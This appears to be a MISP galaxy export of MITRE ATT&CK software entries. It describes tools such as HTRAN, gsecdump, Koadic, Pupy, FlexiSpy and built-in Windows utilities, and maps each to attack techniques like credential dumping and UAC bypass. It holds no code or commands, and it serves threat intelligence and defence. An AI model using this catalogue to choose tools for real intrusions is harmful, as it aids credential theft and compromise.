[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)
The tag is: misp-galaxy:mitre-tool="HTRAN - S0040"
HTRAN - S0040 is also known as:
-
HTRAN
-
HUC Packet Transmit Tool
HTRAN - S0040 has relationships with:
-
similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
Links |
pwdump - S0006
[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)
The tag is: misp-galaxy:mitre-tool="pwdump - S0006"
pwdump - S0006 is also known as:
-
pwdump
pwdump - S0006 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
gsecdump - S0008
[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)
The tag is: misp-galaxy:mitre-tool="gsecdump - S0008"
gsecdump - S0008 is also known as:
-
gsecdump
gsecdump - S0008 has relationships with:
-
similar: misp-galaxy:malpedia="gsecdump" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5 |
at - S0110
[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)
The tag is: misp-galaxy:mitre-tool="at - S0110"
at - S0110 is also known as:
-
at
-
at.exe
at - S0110 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
Links |
ifconfig - S0101
[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)
The tag is: misp-galaxy:mitre-tool="ifconfig - S0101"
ifconfig - S0101 is also known as:
-
ifconfig
ifconfig - S0101 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
Fgdump - S0120
[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-tool="Fgdump - S0120"
Fgdump - S0120 is also known as:
-
Fgdump
Fgdump - S0120 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
nbtstat - S0102
[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)
The tag is: misp-galaxy:mitre-tool="nbtstat - S0102"
nbtstat - S0102 is also known as:
-
nbtstat
-
nbtstat.exe
nbtstat - S0102 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
route - S0103
[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)
The tag is: misp-galaxy:mitre-tool="route - S0103"
route - S0103 is also known as:
-
route
-
route.exe
route - S0103 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
netstat - S0104
[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)
The tag is: misp-galaxy:mitre-tool="netstat - S0104"
netstat - S0104 is also known as:
-
netstat
-
netstat.exe
netstat - S0104 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
Links |
dsquery - S0105
[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.
The tag is: misp-galaxy:mitre-tool="dsquery - S0105"
dsquery - S0105 is also known as:
-
dsquery
-
dsquery.exe
dsquery - S0105 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
Links |
cmd - S0106
[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)
Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).
The tag is: misp-galaxy:mitre-tool="cmd - S0106"
cmd - S0106 is also known as:
-
cmd
-
cmd.exe
cmd - S0106 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
certutil - S0160
[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)
The tag is: misp-galaxy:mitre-tool="certutil - S0160"
certutil - S0160 is also known as:
-
certutil
-
certutil.exe
certutil - S0160 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
netsh - S0108
[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)
The tag is: misp-galaxy:mitre-tool="netsh - S0108"
netsh - S0108 is also known as:
-
netsh
-
netsh.exe
netsh - S0108 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128" with estimative-language:likelihood-probability="almost-certain"
Links |
BITSAdmin - S0190
[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)
The tag is: misp-galaxy:mitre-tool="BITSAdmin - S0190"
BITSAdmin - S0190 is also known as:
-
BITSAdmin
BITSAdmin - S0190 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
Links |
Koadic - S0250
[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)
The tag is: misp-galaxy:mitre-tool="Koadic - S0250"
Koadic - S0250 is also known as:
-
Koadic
Koadic - S0250 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
PsExec - S0029
[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)
The tag is: misp-galaxy:mitre-tool="PsExec - S0029"
PsExec - S0029 is also known as:
-
PsExec
PsExec - S0029 has relationships with:
-
similar: misp-galaxy:tool="PsExec" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
Links |
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx |
Net - S0039
The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.
The tag is: misp-galaxy:mitre-tool="Net - S0039"
Net - S0039 is also known as:
-
Net
-
net.exe
Net - S0039 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"
Links |
esentutl - S0404
[esentutl](https://attack.mitre.org/software/S0404) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)
The tag is: misp-galaxy:mitre-tool="esentutl - S0404"
esentutl - S0404 is also known as:
-
esentutl
-
esentutl.exe
esentutl - S0404 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
FlexiSpy - S0408
[FlexiSpy](https://attack.mitre.org/software/S0408) is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.(Citation: FortiGuard-FlexiSpy)(Citation: CyberMerchants-FlexiSpy)
[FlexiSpy](https://attack.mitre.org/software/S0408) markets itself as a parental control and employee monitoring application.(Citation: FlexiSpy-Website)
The tag is: misp-galaxy:mitre-tool="FlexiSpy - S0408"
FlexiSpy - S0408 is also known as:
-
FlexiSpy
FlexiSpy - S0408 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.cybermerchantsofdeath.com/blog/2017/04/22/FlexiSpy.html |
Reg - S0075
[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)
Utilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)
The tag is: misp-galaxy:mitre-tool="Reg - S0075"
Reg - S0075 is also known as:
-
Reg
-
reg.exe
Reg - S0075 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Tasklist - S0057
The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)
The tag is: misp-galaxy:mitre-tool="Tasklist - S0057"
Tasklist - S0057 is also known as:
-
Tasklist
Tasklist - S0057 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
Links |
FTP - S0095
[FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)
The tag is: misp-galaxy:mitre-tool="FTP - S0095"
FTP - S0095 is also known as:
-
FTP
-
ftp.exe
FTP - S0095 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
Links |
Systeminfo - S0096
[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)
The tag is: misp-galaxy:mitre-tool="Systeminfo - S0096"
Systeminfo - S0096 is also known as:
-
systeminfo.exe
-
Systeminfo
Systeminfo - S0096 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
Ping - S0097
[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)
The tag is: misp-galaxy:mitre-tool="Ping - S0097"
Ping - S0097 is also known as:
-
ping.exe
-
Ping
Ping - S0097 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
Links |
Arp - S0099
[Arp](https://attack.mitre.org/software/S0099) displays information about a system’s Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)
The tag is: misp-galaxy:mitre-tool="Arp - S0099"
Arp - S0099 is also known as:
-
Arp
-
arp.exe
Arp - S0099 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
schtasks - S0111
[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)
The tag is: misp-galaxy:mitre-tool="schtasks - S0111"
schtasks - S0111 is also known as:
-
schtasks
-
schtasks.exe
schtasks - S0111 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
Links |
Lslsass - S0121
[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-tool="Lslsass - S0121"
Lslsass - S0121 is also known as:
-
Lslsass
Lslsass - S0121 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
UACMe - S0116
[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)
The tag is: misp-galaxy:mitre-tool="UACMe - S0116"
UACMe - S0116 is also known as:
-
UACMe
UACMe - S0116 has relationships with:
-
similar: misp-galaxy:malpedia="UACMe" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
Links |
Cachedump - S0119
[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-tool="Cachedump - S0119"
Cachedump - S0119 is also known as:
-
Cachedump
Cachedump - S0119 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Winexe - S0191
[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)
The tag is: misp-galaxy:mitre-tool="Winexe - S0191"
Winexe - S0191 is also known as:
-
Winexe
Winexe - S0191 has relationships with:
-
similar: misp-galaxy:tool="Winexe" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
Links |
xCmd - S0123
[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)
The tag is: misp-galaxy:mitre-tool="xCmd - S0123"
xCmd - S0123 is also known as:
-
xCmd
xCmd - S0123 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
Links |
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/ |
Pupy - S0192
[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)
The tag is: misp-galaxy:mitre-tool="Pupy - S0192"
Pupy - S0192 is also known as:
-
Pupy
Pupy - S0192 has relationships with:
-
similar: misp-galaxy:rat="Pupy" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
Links |
MailSniper - S0413
MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)
The tag is: misp-galaxy:mitre-tool="MailSniper - S0413"
MailSniper - S0413 is also known as:
-
MailSniper
MailSniper - S0413 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
Links |
Expand - S0361
